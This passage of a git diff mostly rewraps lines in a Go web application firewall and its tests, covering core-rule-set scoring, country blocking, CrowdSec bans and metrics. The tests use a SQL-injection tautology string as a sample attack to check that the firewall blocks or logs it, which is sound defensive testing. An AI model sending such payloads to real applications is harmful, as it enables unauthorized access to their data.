bodyBytes+answerBytes { + t.Errorf( + "log line has limit_hit %q and minute_bytes %v, want minute and %d", + line.LimitHit, + line.Counts.MinuteBytes, + bodyBytes+answerBytes, + ) } } @@ -440,7 +561,9 @@ func answerAfterUpgrade(w http.ResponseWriter, _ *http.Request) { return } - _, _ = buffered.WriteString(strings.Repeat("a", answerBytes-1) + "\n") + _, _ = buffered.WriteString( + strings.Repeat("a", answerBytes-1) + "\n", + ) _ = buffered.Flush() } } @@ -470,8 +593,12 @@ func (s *sender) openWebSocket() (net.Conn, *bufio.Reader) { s.t.Helper() conn := dial(s.t, s.addr) - send(s.t, conn, "GET /socket HTTP/1.1\r\nHost: "+appHost+"\r\n"+forwardedFor+ - ": "+client+"\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n") + send( + s.t, + conn, + "GET /socket HTTP/1.1\r\nHost: "+appHost+"\r\n"+forwardedFor+ + ": "+client+"\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n", + ) err := conn.SetReadDeadline(time.Now().Add(waitLimit)) if err != nil { @@ -488,7 +615,11 @@ func (s *sender) openWebSocket() (net.Conn, *bufio.Reader) { _ = res.Body.Close() if res.StatusCode != http.StatusSwitchingProtocols { - s.t.Fatalf("status %d, want %d", res.StatusCode, http.StatusSwitchingProtocols) + s.t.Fatalf( + "status %d, want %d", + res.StatusCode, + http.StatusSwitchingProtocols, + ) } return conn, reader @@ -503,14 +634,22 @@ func (s *sender) closeWebSocket(conn net.Conn) logLine { line := s.out.endedLines(s.t, s.sent+1)[s.sent] s.sent++ - wantLine(s.t, line, http.StatusSwitchingProtocols, requestlog.ActionForward) + wantLine( + s.t, + line, + http.StatusSwitchingProtocols, + requestlog.ActionForward, + ) return line } // startWithAnswers is startAppWithAlerts in front of readAndAnswer, for a // test that looks at neither the server nor the alerts. -func startWithAnswers(t *testing.T, env map[string]string) (*sender, *clock) { +func startWithAnswers( + t *testing.T, + env map[string]string, +) (*sender, *clock) { t.Helper() s, clk, _, _ := startAppWithAlerts(t, readAndAnswer, env) @@ -524,8 +663,15 @@ func startWithAnswers(t *testing.T, env map[string]string) (*sender, *clock) { func (s *sender) download() (logLine, answer) { s.t.Helper() - return s.requestWithBody(http.MethodGet, client, "/", "", "", http.StatusOK, - requestlog.ActionForward) + return s.requestWithBody( + http.MethodGet, + client, + "/", + "", + "", + http.StatusOK, + requestlog.ActionForward, + ) } // upload is download for a POST request with a body of bodyBytes, and diff --git a/internal/waf/coreruleset.go b/internal/waf/coreruleset.go index 4d4e804..a282bb0 100644 --- a/internal/waf/coreruleset.go +++ b/internal/waf/coreruleset.go @@ -25,9 +25,14 @@ type coreRuleSet struct{} func (coreRuleSet) name() string { return "core_rule_set" } -func (coreRuleSet) check(_ context.Context, rq *request, _ time.Time) *verdict { +func (coreRuleSet) check( + _ context.Context, + rq *request, + _ time.Time, +) *verdict { cfg := rq.h.config - if cfg.WAFMode == config.WAFModeOff || pathExempt(rq.in, cfg.WAFExemptPaths) { + if cfg.WAFMode == config.WAFModeOff || + pathExempt(rq.in, cfg.WAFExemptPaths) { return nil } @@ -38,7 +43,9 @@ func (coreRuleSet) check(_ context.Context, rq *request, _ time.Time) *verdict { result, read, _ := rq.h.coreRuleSet.Inspect(rq.in, rq.client, rq.in.Body) rq.requestBytes = int64(len(read)) - rq.line.DurationCoreRuleSetMS = new(requestlog.Milliseconds(time.Since(start))) + rq.line.DurationCoreRuleSetMS = new( + requestlog.Milliseconds(time.Since(start)), + ) rq.line.CoreRuleSetRuleIDs = result.RuleIDs rq.line.CoreRuleSetScore = &result.Score @@ -61,8 +68,11 @@ func (coreRuleSet) check(_ context.Context, rq *request, _ time.Time) *verdict { rq.blockedByCoreRuleSet = true return &verdict{ - action: requestlog.ActionBlockedByCoreRuleSet, - figures: map[string]any{figureScore: result.Score, "threshold": threshold}, + action: requestlog.ActionBlockedByCoreRuleSet, + figures: map[string]any{ + figureScore: result.Score, + "threshold": threshold, + }, } } diff --git a/internal/waf/coreruleset_test.go b/internal/waf/coreruleset_test.go index c02f3a4..0595e6b 100644 --- a/internal/waf/coreruleset_test.go +++ b/internal/waf/coreruleset_test.go @@ -44,7 +44,12 @@ const sqlInjection = "/?id=1'%20OR%20'1'='1" // core_rule_set_score, and that it has duration_core_rule_set_ms, or with no // score, that it has none of the three: the Core Rule Set did not inspect the // request. -func wantCoreRuleSet(t *testing.T, line logLine, score *int, ruleIDs ...int) { +func wantCoreRuleSet( + t *testing.T, + line logLine, + score *int, + ruleIDs ...int, +) { t.Helper() if !slices.Equal(line.CoreRuleSetRuleIDs, ruleIDs) { @@ -55,9 +60,12 @@ func wantCoreRuleSet(t *testing.T, line logLine, score *int, ruleIDs ...int) { switch { case score == nil && (line.CoreRuleSetScore != nil || line.DurationCoreRuleSetMS != nil): - t.Errorf("log line has core_rule_set_score %v and "+ - "duration_core_rule_set_ms %v, want neither", - line.fields["core_rule_set_score"], line.fields["duration_core_rule_set_ms"]) + t.Errorf( + "log line has core_rule_set_score %v and "+ + "duration_core_rule_set_ms %v, want neither", + line.fields["core_rule_set_score"], + line.fields["duration_core_rule_set_ms"], + ) case score != nil && (line.CoreRuleSetScore == nil || *line.CoreRuleSetScore != *score): t.Errorf("log line has core_rule_set_score %v, want %d", @@ -82,11 +90,21 @@ func TestCoreRuleSetMatchAddsTheExploitSignatureTag(t *testing.T) { t.Run(tc.name, func(t *testing.T) { t.Parallel() - s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode}) + s, _, _ := startWithClock( + t, + "", + map[string]string{wafMode: tc.mode}, + ) - wantTags(t, s.request(client, sqlInjection, tc.status, tc.action), - "exploitsignature") - wantTags(t, s.get(client, http.StatusOK, requestlog.ActionForward)) + wantTags( + t, + s.request(client, sqlInjection, tc.status, tc.action), + "exploitsignature", + ) + wantTags( + t, + s.get(client, http.StatusOK, requestlog.ActionForward), + ) }) } } @@ -103,7 +121,9 @@ func TestDetectedAttackIsRefusedByTagDenyLast(t *testing.T) { wantHeuristic(t, line, "tag_deny", `{"tag": "exploitsignature"}`) } -func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) { +func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode( + t *testing.T, +) { t.Parallel() for _, attack := range []struct { @@ -142,10 +162,19 @@ func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *test {block, requestlog.ActionBlockedByCoreRuleSet, http.StatusForbidden}, {detect, requestlog.ActionForward, http.StatusOK}, } { - s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode}) + s, _, _ := startWithClock( + t, + "", + map[string]string{wafMode: tc.mode}, + ) - line := s.requestWithHeader(client, attack.path, attack.header, - tc.status, tc.action) + line := s.requestWithHeader( + client, + attack.path, + attack.header, + tc.status, + tc.action, + ) wantCoreRuleSet(t, line, &attack.score, attack.ruleIDs...) } }) @@ -167,8 +196,12 @@ func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) { s, _, _ := startWithClock(t, "", map[string]string{wafMode: block}) - line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source", - http.StatusOK, requestlog.ActionForward) + line := s.request( + client, + "/owner/repo/src/branch/main/README.md?display=source", + http.StatusOK, + requestlog.ActionForward, + ) wantCoreRuleSet(t, line, new(0)) } @@ -188,26 +221,48 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal( // A client in SWW_ALLOW_NETS, and a path SWW_WAF_EXEMPT_PATHS // exempts, are not inspected. - line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward) + line := s.request( + allowed, + sqlInjection, + http.StatusOK, + requestlog.ActionForward, + ) wantCoreRuleSet(t, line, nil) - line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK, - requestlog.ActionForward) + line = s.request( + client, + "/api/v1/repos?id=1'%20OR%20'1'='1", + http.StatusOK, + requestlog.ActionForward, + ) wantCoreRuleSet(t, line, nil) // The prefix is matched as rate limit exempt paths are: a path that // goes up and out of it is inspected. - line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden, - requestlog.ActionBlockedByCoreRuleSet) + line = s.request( + client, + "/api/../?id=1'%20OR%20'1'='1", + http.StatusForbidden, + requestlog.ActionBlockedByCoreRuleSet, + ) wantCoreRuleSet(t, line, new(25), 930100, 930110, 942100) // A request a rule file refuses is not inspected. - line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden, - requestlog.ActionBlockedByBlockRule) + line = s.request( + otherClient, + "/blocked?id=1'%20OR%20'1'='1", + http.StatusForbidden, + requestlog.ActionBlockedByBlockRule, + ) wantCoreRuleSet(t, line, nil) // With SWW_WAF_MODE off, no request is. s, _, _ = startWithClock(t, "", map[string]string{wafMode: off}) - line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward) + line = s.request( + client, + sqlInjection, + http.StatusOK, + requestlog.ActionForward, + ) wantCoreRuleSet(t, line, nil) } @@ -221,7 +276,12 @@ func TestAnomalyThreshold(t *testing.T) { wafMode: block, wafAnomalyThreshold: threshold, }) - line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward) + line := s.request( + client, + sqlInjection, + http.StatusOK, + requestlog.ActionForward, + ) wantCoreRuleSet(t, line, new(5), 942100) } @@ -269,9 +329,20 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) { } // By default, the rules are switched off. - s, _, _ := startWithClock(t, "", map[string]string{wafMode: block}) - line, _ := s.requestWithBody(request.method, client, request.path, - request.header, body, http.StatusOK, requestlog.ActionForward) + s, _, _ := startWithClock( + t, + "", + map[string]string{wafMode: block}, + ) + line, _ := s.requestWithBody( + request.method, + client, + request.path, + request.header, + body, + http.StatusOK, + requestlog.ActionForward, + ) wantCoreRuleSet(t, line, new(0)) // A list given replaces the default. @@ -279,12 +350,24 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) { wafMode: block, wafDisabledRules: "942100", }) score := 5 * len(request.ruleIDs) - line, _ = s.requestWithBody(request.method, client, request.path, - request.header, body, http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet) + line, _ = s.requestWithBody( + request.method, + client, + request.path, + request.header, + body, + http.StatusForbidden, + requestlog.ActionBlockedByCoreRuleSet, + ) wantCoreRuleSet(t, line, &score, request.ruleIDs...) // And switches off the rules it lists. - line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward) + line = s.request( + client, + sqlInjection, + http.StatusOK, + requestlog.ActionForward, + ) wantCoreRuleSet(t, line, new(0)) }) } @@ -354,8 +437,13 @@ func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) { got := do(t, req) if got.status != http.StatusOK || string(got.body) != tc.body { - t.Errorf("%s: the app got %d bytes, answered %d, want the %d sent, 200", - tc.name, len(got.body), got.status, len(tc.body)) + t.Errorf( + "%s: the app got %d bytes, answered %d, want the %d sent, 200", + tc.name, + len(got.body), + got.status, + len(tc.body), + ) } line := out.endedLines(t, i+1)[i] @@ -384,13 +472,19 @@ func TestResponsesAreNotInspected(t *testing.T) { got := get(t, addr, "/owner/repo/raw/branch/main/build.sh") if got.status != http.StatusOK || string(got.body) != page { - t.Errorf("answered %d with %q, want 200 with the app's page", got.status, got.body) + t.Errorf( + "answered %d with %q, want 200 with the app's page", + got.status, + got.body, + ) } wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward) } -func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) { +func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst( + t *testing.T, +) { t.Parallel() s, _, server := startWithClock(t, "", map[string]string{ @@ -408,8 +502,11 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) requestlog.ActionBlockedByCoreRuleSet) if line.LimitHit != requestlog.LimitHitMinuteRefusals || line.Offence != requestlog.OffenceLimit { - t.Errorf("log line has limit_hit %q and offence %q, want minute_refusals and limit", - line.LimitHit, line.Offence) + t.Errorf( + "log line has limit_hit %q and offence %q, want minute_refusals and limit", + line.LimitHit, + line.Offence, + ) } s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned) @@ -420,15 +517,30 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) } metrics := s.scrape() - wantMetric(t, metrics, - `sww_core_rule_set_matches_total{instance="app",mode="block",rule_id="942100"}`, 3) - wantMetric(t, metrics, - `sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`, 3) - wantMetric(t, metrics, `sww_requests_total{action="blocked_by_core_rule_set",`+ - `instance="app",status_class="4xx"}`, 3) + wantMetric( + t, + metrics, + `sww_core_rule_set_matches_total{instance="app",mode="block",rule_id="942100"}`, + 3, + ) + wantMetric( + t, + metrics, + `sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`, + 3, + ) + wantMetric( + t, + metrics, + `sww_requests_total{action="blocked_by_core_rule_set",`+ + `instance="app",status_class="4xx"}`, + 3, + ) } -func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T) { +func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst( + t *testing.T, +) { t.Parallel() s, _, server := startWithClock(t, "", map[string]string{ @@ -436,7 +548,12 @@ func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T }) for range 3 { - s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward) + s.request( + client, + sqlInjection, + http.StatusOK, + requestlog.ActionForward, + ) } s.get(client, http.StatusOK, requestlog.ActionForward) @@ -447,8 +564,12 @@ func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T } metrics := s.scrape() - wantMetric(t, metrics, - `sww_core_rule_set_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3) + wantMetric( + t, + metrics, + `sww_core_rule_set_matches_total{instance="app",mode="detect",rule_id="942100"}`, + 3, + ) wantNoSeries(t, metrics, `sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`) } @@ -456,9 +577,18 @@ func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) { t.Parallel() - s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe}) + s, _, server := startWithClock( + t, + "", + map[string]string{wafMode: block, mode: observe}, + ) - line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward) + line := s.request( + client, + sqlInjection, + http.StatusOK, + requestlog.ActionForward, + ) wantWouldAction(t, line, requestlog.ActionBlockedByCoreRuleSet) wantCoreRuleSet(t, line, new(5), 942100) @@ -508,7 +638,9 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) { s.get(client, http.StatusOK, requestlog.ActionForward) detail := map[string]any{ - "rule_ids": []int{942100}, "score": 5, "method": http.MethodGet, + "rule_ids": []int{ + 942100, + }, "score": 5, "method": http.MethodGet, "path": sqlInjection, } if tc.alertMode != "" { @@ -527,7 +659,10 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) { }) if queue.Suppressed() != 1 { - t.Errorf("%d alerts held back, want the repeat", queue.Suppressed()) + t.Errorf( + "%d alerts held back, want the repeat", + queue.Suppressed(), + ) } }) } diff --git a/internal/waf/countries.go b/internal/waf/countries.go index 35d9d96..d3e44cc 100644 --- a/internal/waf/countries.go +++ b/internal/waf/countries.go @@ -18,7 +18,11 @@ type countries struct{} func (countries) name() string { return "countries" } -func (countries) check(_ context.Context, rq *request, _ time.Time) *verdict { +func (countries) check( + _ context.Context, + rq *request, + _ time.Time, +) *verdict { allowed := rq.h.config.ExclusivelyAllowedCountries country := rq.line.Country diff --git a/internal/waf/countries_test.go b/internal/waf/countries_test.go index 8806ba0..cc17f56 100644 --- a/internal/waf/countries_test.go +++ b/internal/waf/countries_test.go @@ -52,7 +52,10 @@ func TestCountryLists(t *testing.T) { calls.Add(1) }) geojsURL, _ := startGeoJS(t) - env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"} + env := map[string]string{ + trustedProxies: trustLocalhost, + lookupTimeout: "1h", + } maps.Copy(env, tc.env) addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env) @@ -68,14 +71,25 @@ func TestCountryLists(t *testing.T) { line := out.endedLines(t, i+1)[i] if line.ASN != sent.asn || line.ASName != sent.asName || line.Country != sent.country { - t.Errorf("log line has %q, %q and %q, want %q, %q and %q", - line.ASN, line.ASName, line.Country, - sent.asn, sent.asName, sent.country) + t.Errorf( + "log line has %q, %q and %q, want %q, %q and %q", + line.ASN, + line.ASName, + line.Country, + sent.asn, + sent.asName, + sent.country, + ) } if slices.Contains(tc.refused, sent.client) { wantStatus(t, got, http.StatusForbidden) - wantLine(t, line, http.StatusForbidden, requestlog.ActionCountryDenied) + wantLine( + t, + line, + http.StatusForbidden, + requestlog.ActionCountryDenied, + ) } else { wantStatus(t, got, http.StatusOK) wantLine(t, line, http.StatusOK, requestlog.ActionForward) @@ -98,11 +112,19 @@ func TestCountryRefusalNamesItsHeuristicCountryAndSetting(t *testing.T) { lookupTimeout: "1h", allowedCountries: "de", }) - line := s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied) + line := s.get( + fromKP, + http.StatusForbidden, + requestlog.ActionCountryDenied, + ) wantHeuristic(t, line, "countries", `{"country": "KP", "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"}`) - line = s.get(unplaced, http.StatusForbidden, requestlog.ActionCountryDenied) + line = s.get( + unplaced, + http.StatusForbidden, + requestlog.ActionCountryDenied, + ) wantHeuristic(t, line, "countries", `{"country": "", "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"}`) } @@ -122,7 +144,13 @@ func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) { allowedCountries: "de", }) - req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body")) + req := newRequest( + t, + http.MethodPost, + addr, + "/", + strings.NewReader("a body"), + ) req.Header.Set(forwardedFor, fromKP) wantStatus(t, do(t, req), http.StatusForbidden) @@ -149,7 +177,9 @@ func TestRequestRefusedByCountryIsNotCounted(t *testing.T) { return } - answer := []geojsAnswer{{IP: r.URL.Query().Get("ip"), CountryCode: "DE"}} + answer := []geojsAnswer{ + {IP: r.URL.Query().Get("ip"), CountryCode: "DE"}, + } err := json.NewEncoder(w).Encode(answer) if err != nil { @@ -209,7 +239,10 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) { app := startApp(t, func(http.ResponseWriter, *http.Request) {}) geojsURL, asked := startGeoJS(t) - env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"} + env := map[string]string{ + trustedProxies: trustLocalhost, + lookupTimeout: "1h", + } maps.Copy(env, tc.env) addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env) @@ -230,8 +263,12 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) { for _, field := range []string{"asn", "as_name", "country"} { value, present := line.fields[field] if !present || value != "" { - t.Errorf("log line for %q has %s %v, want an empty one", - line.ClientIP, field, value) + t.Errorf( + "log line for %q has %s %v, want an empty one", + line.ClientIP, + field, + value, + ) } } } @@ -243,10 +280,16 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) { req.Header.Set(forwardedFor, fromDE) wantStatus(t, do(t, req), http.StatusOK) - waitUntil(func() bool { return slices.Contains(asked(), fromDE) }) + waitUntil( + func() bool { return slices.Contains(asked(), fromDE) }, + ) if got := asked(); !slices.Equal(got, []string{fromDE}) { - t.Errorf("GeoJS was asked about %v, want %s alone", got, fromDE) + t.Errorf( + "GeoJS was asked about %v, want %s alone", + got, + fromDE, + ) } }) } @@ -275,11 +318,16 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) { app := startApp(t, func(http.ResponseWriter, *http.Request) {}) geojsURL, asked := startGeoJS(t) - addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{ - trustedProxies: trustLocalhost, - allowedCountries: "de", - allowNets: tc.allowNets, - }) + addr, out := startProxyWithGeoJS( + t, + app.URL, + geojsURL, + map[string]string{ + trustedProxies: trustLocalhost, + allowedCountries: "de", + allowNets: tc.allowNets, + }, + ) wantAnswers(t, addr, out, []sentRequest{ {"10.0.0.7", tc.status, tc.action}, @@ -383,9 +431,19 @@ type geojsAnswer struct { func answerAbout(addr string) geojsAnswer { switch addr { case fromDE: - return geojsAnswer{IP: addr, ASN: 64496, ASName: asNameDE, CountryCode: "DE"} + return geojsAnswer{ + IP: addr, + ASN: 64496, + ASName: asNameDE, + CountryCode: "DE", + } case fromKP: - return geojsAnswer{IP: addr, ASN: 64511, ASName: asNameKP, CountryCode: "KP"} + return geojsAnswer{ + IP: addr, + ASN: 64511, + ASName: asNameKP, + CountryCode: "KP", + } } return geojsAnswer{IP: addr, ASN: 64512, ASName: "Unknown"} diff --git a/internal/waf/crowdsec.go b/internal/waf/crowdsec.go index a214a5a..5a583d6 100644 --- a/internal/waf/crowdsec.go +++ b/internal/waf/crowdsec.go @@ -21,7 +21,11 @@ type crowdSec struct{} func (crowdSec) name() string { return "crowdsec" } -func (crowdSec) check(_ context.Context, rq *request, now time.Time) *verdict { +func (crowdSec) check( + _ context.Context, + rq *request, + now time.Time, +) *verdict { decision, listed := rq.crowdSecDecisionInForce(now) if !listed { return nil diff --git a/internal/waf/crowdsec_test.go b/internal/waf/crowdsec_test.go index 9a0243e..822eb97 100644 --- a/internal/waf/crowdsec_test.go +++ b/internal/waf/crowdsec_test.go @@ -25,7 +25,9 @@ const ( bouncerKey = "crowdsec-key-0123456789abcdef" ) -func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(t *testing.T) { +func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds( + t *testing.T, +) { t.Parallel() s, clk, server, queue := startWithAlerts(t, map[string]string{ @@ -39,44 +41,56 @@ func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(t *testi expires := requestlog.FormatTime(fetched.Add(4 * time.Hour)) // Its first request is refused, and bans it until the decision ends. - line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned) + banned := requestlog.ActionTemporarilyBanned + line := s.get(client, http.StatusForbidden, banned) wantReputation(t, line, decisionsURL) if line.BanExpires != expires { - t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires) + t.Errorf("log line has ban_expires %q, want %s", + line.BanExpires, expires) } listed := []bans.ReputationHit{{Source: decisionsURL}} held := server.Ledger.Bans(netip.MustParsePrefix(client + "/32")) if len(held) != 1 || held[0].Cause != bans.CauseCrowdSec || - !held[0].Start.Equal(fetched) || !held[0].Expires.Equal(fetched.Add(4*time.Hour)) || + !held[0].Start.Equal(fetched) || + !held[0].Expires.Equal(fetched.Add(4*time.Hour)) || held[0].Reason != "CrowdSec's decision for crowdsecurity/ssh-bf" || !reflect.DeepEqual(held[0].Notes.Reputation, listed) || held[0].Notes.Request.Path != "/" || held[0].Notes.Requests != 1 { - t.Fatalf("bans %+v, want one for crowdsec of four hours, with the list and "+ - "the request in its notes", held) + t.Fatalf( + "bans %+v, want one for crowdsec of four hours, with the list and "+ + "the request in its notes", + held, + ) } // The listing raises a reputation_hit alert, and the ban its own. waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] if len(waiting) != 2 || waiting[0].Event != alerts.EventReputationHit || waiting[0].Reason != "listed by the CrowdSec decision list" || - !reflect.DeepEqual(waiting[1], banAlert(alerts.EventBan, fetched, client, held[0], - expires)) { - t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban's", - waiting) + !reflect.DeepEqual( + waiting[1], + banAlert(alerts.EventBan, fetched, client, held[0], + expires), + ) { + t.Errorf( + "alerts waiting %+v, want a reputation_hit alert, then the ban's", + waiting, + ) } // Each request while the ban lasts is refused under it, as under any // ban, and once it has ended the client is let through. clk.advance(4*time.Hour - time.Second) - line = s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned) + line = s.get(client, http.StatusForbidden, banned) wantReputation(t, line) if line.BanExpires != expires { - t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires) + t.Errorf("log line has ban_expires %q, want %s", + line.BanExpires, expires) } clk.advance(time.Second) @@ -91,8 +105,12 @@ func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(t *testi `instance="`+alertInstance+`"}`, 1) wantMetric(t, metrics, "sww_reputation_hits_total"+labels, 1) wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0) - wantMetric(t, metrics, "sww_reputation_last_fetch_timestamp_seconds"+labels, - float64(fetched.Unix())) + wantMetric( + t, + metrics, + "sww_reputation_last_fetch_timestamp_seconds"+labels, + float64(fetched.Unix()), + ) } func TestCrowdSecBanNamesItsHeuristicScenarioAndEnd(t *testing.T) { @@ -105,13 +123,24 @@ func TestCrowdSecBanNamesItsHeuristicScenarioAndEnd(t *testing.T) { `"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+ `"value": "`+client+`"}]`) - line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned) - wantHeuristic(t, line, "crowdsec", `{"scenario": "crowdsecurity/ssh-bf", `+ - `"expires": "`+requestlog.FormatTime(clk.Now().Add(4*time.Hour))+`"}`) + line := s.get( + client, + http.StatusForbidden, + requestlog.ActionTemporarilyBanned, + ) + wantHeuristic( + t, + line, + "crowdsec", + `{"scenario": "crowdsecurity/ssh-bf", `+ + `"expires": "`+requestlog.FormatTime(clk.Now().Add(4*time.Hour))+`"}`, + ) wantTags(t, line, "crowdsec") } -func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(t *testing.T) { +func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt( + t *testing.T, +) { t.Parallel() s, clk, server := startWithClock(t, "", map[string]string{ @@ -129,24 +158,44 @@ func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(t *testing.T // Just before its end, the decision bans a client in the netblock, and // one on an IPv6 address bans the address's group, the /64. clk.advance(time.Minute - time.Nanosecond) - s.get("198.51.100.7", http.StatusForbidden, requestlog.ActionTemporarilyBanned) - s.get("2001:db8::9", http.StatusForbidden, requestlog.ActionTemporarilyBanned) - s.get("2001:db8::5", http.StatusForbidden, requestlog.ActionTemporarilyBanned) + s.get( + "198.51.100.7", + http.StatusForbidden, + requestlog.ActionTemporarilyBanned, + ) + s.get( + "2001:db8::9", + http.StatusForbidden, + requestlog.ActionTemporarilyBanned, + ) + s.get( + "2001:db8::5", + http.StatusForbidden, + requestlog.ActionTemporarilyBanned, + ) // Once it has ended, it bans no other client, and the bans it made end // with it. clk.advance(time.Nanosecond) for _, from := range []string{"198.51.100.8", "198.51.100.7", "2001:db8::5"} { - wantReputation(t, s.get(from, http.StatusOK, requestlog.ActionForward)) + wantReputation( + t, + s.get(from, http.StatusOK, requestlog.ActionForward), + ) } if made := server.Ledger.Made(bans.CauseCrowdSec); made != 2 { - t.Errorf("%d bans made for crowdsec, want 2, on 198.51.100.7/32 and "+ - "2001:db8::/64", made) + t.Errorf( + "%d bans made for crowdsec, want 2, on 198.51.100.7/32 and "+ + "2001:db8::/64", + made, + ) } - if held := server.Ledger.Bans(netip.MustParsePrefix("2001:db8::/64")); len(held) != 1 { + if held := server.Ledger.Bans(netip.MustParsePrefix("2001:db8::/64")); len( + held, + ) != 1 { t.Errorf("bans of 2001:db8::/64 %+v, want one", held) } } @@ -175,8 +224,11 @@ func TestObserveModeForwardsAClientTheCrowdSecDecisionListListsAndAlertsTheBan( if len(waiting) != 2 || waiting[1].Event != alerts.EventBan || waiting[1].Detail["cause"] != bans.CauseCrowdSec || waiting[1].Detail["mode"] != observe { - t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban alert "+ - "marked observe", waiting) + t.Errorf( + "alerts waiting %+v, want a reputation_hit alert, then the ban alert "+ + "marked observe", + waiting, + ) } } diff --git a/internal/waf/headerlimits.go b/internal/waf/headerlimits.go index c18e990..2857e2f 100644 --- a/internal/waf/headerlimits.go +++ b/internal/waf/headerlimits.go @@ -24,7 +24,11 @@ type headerLimits struct{} func (headerLimits) name() string { return "header_limits" } -func (headerLimits) check(_ context.Context, rq *request, _ time.Time) *verdict { +func (headerLimits) check( + _ context.Context, + rq *request, + _ time.Time, +) *verdict { fields, cookies := rq.headerCounts() if fields <= maxHeaderFields && cookies <= maxCookies { return nil diff --git a/internal/waf/health_test.go b/internal/waf/health_test.go index 2ef885b..70d3532 100644 --- a/internal/waf/health_test.go +++ b/internal/waf/health_test.go @@ -13,7 +13,11 @@ func TestHealthEndpointCountsTowardNoLimit(t *testing.T) { // With a limit of one request a minute, any request counted before // the last one would have it refused. - s, _, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"}) + s, _, _ := startWithClock( + t, + "", + map[string]string{rateLimitPerMinute: "1"}, + ) const ( healthChecks = 3 @@ -24,9 +28,15 @@ func TestHealthEndpointCountsTowardNoLimit(t *testing.T) { got := s.ownEndpointRequest("", http.MethodGet, waf.HealthPath, "", http.StatusOK) - if string(got.body) != "ok\n" || got.header.Get("Content-Type") != contentType { - t.Errorf("health endpoint answered %q with Content-Type %q, want ok "+ - "with %q", got.body, got.header.Get("Content-Type"), contentType) + if string(got.body) != "ok\n" || + got.header.Get("Content-Type") != contentType { + t.Errorf( + "health endpoint answered %q with Content-Type %q, 